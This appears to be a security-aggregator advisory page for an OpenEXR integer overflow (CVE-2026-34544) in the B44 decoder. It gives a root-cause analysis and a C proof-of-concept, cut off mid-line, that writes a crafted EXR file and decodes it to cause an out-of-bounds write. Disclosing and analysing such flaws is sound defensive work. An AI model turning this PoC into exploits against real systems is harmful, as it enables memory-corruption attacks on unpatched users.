🛡️ CVE-2026-34544 — openexr

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-190 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)

```c

int nx, ny;

```

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)

```c

nBytes = (uint64_t) (ny) * (uint64_t) (nx) *

(uint64_t) (curc->bytes_per_element);

```

The allocation path correctly promotes to uint64_t before multiplying.

The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)

```c

row0 = (uint16_t*) scratch;

row0 += y * nx;

row1 = row0 + nx;

row2 = row1 + nx;

row3 = row2 + nx;

```

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)

```c

memcpy (row0, &s[0], n);

memcpy (row1, &s[4], n);

memcpy (row2, &s[8], n);

memcpy (row3, &s[12], n);

```

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer.

The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

```poc.cpp

#include <openexr.h>

#include <inttypes.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#define CHECK(call)

do {

exr_result_t _rv = (call);

if (_rv != EXR_ERR_SUCCESS) {

fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);

goto fail;

}

} while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {

for (uint64_t i = 0; i < n; i++, out += 3) {

out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);

}

}

int main(void) {

const int64_t W = 268435456;

const int64_t H = 9;

const char* path = "/tmp/poc_b44.exr";

const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;

const uint64_t psz = blocks * 3;

uint8_t* packed = (uint8_t*) malloc(psz);

exr_context_t ctxt = NULL;

exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;

int part = -1;

exr_chunk_info_t cinfo;

exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;

uint16_t dummy = 0;

int ok = 0;

if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }

fill_blocks(packed, blocks);

CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));

CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));

CHECK(exr_initialize_required_attr_simple(

ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));

CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,

EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));

CHECK(exr_write_header(ctxt));

CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));

exr_finish(&ctxt); ctxt = NULL;

fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);

CHECK(exr_start_read(&ctxt, path, &cinit));

CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));

CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

dec.channels[0].decode_to_ptr = (uint8_t*)&dummy;

dec.channels[0].user_pixel_stride = 2;

dec.channels[0].user_line_stride = dec.channels[0].width * 2;

dec.channels[0].user_bytes_per_element = 2;

dec.channels[0].user_data_type = dec.channels[0].data_type;

CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));

dec.unpack_and_convert_fn = NULL;

fprintf(stderr, "[*] calling exr_decoding_run()h\n");

fflush(stderr);

CHECK(exr

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must actively cooperate. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-34544 is classified as CWE-190: Integer Overflow or Wraparound. Arithmetic produces a value too large for its type and wraps around, so a later size or bounds check passes when it should not.

Affected software

CVE-2026-34544 is recorded against 1 package.

  • openexr (from 3.2.0)

Timeline and source

Published on 3 April 2026 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

CVE-2026-34544 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-190
Public Exploit ⚠️ Yes
Source OSV
Published 2026-04-03
Updated 2026-08-12
Modified 2026-07-13

Affected Packages

Software From version Fixed in
openexr 3.2.0

Similar Threats

Exploit Protection

Are you running openexr?

CVE-2026-34544 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-34544 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026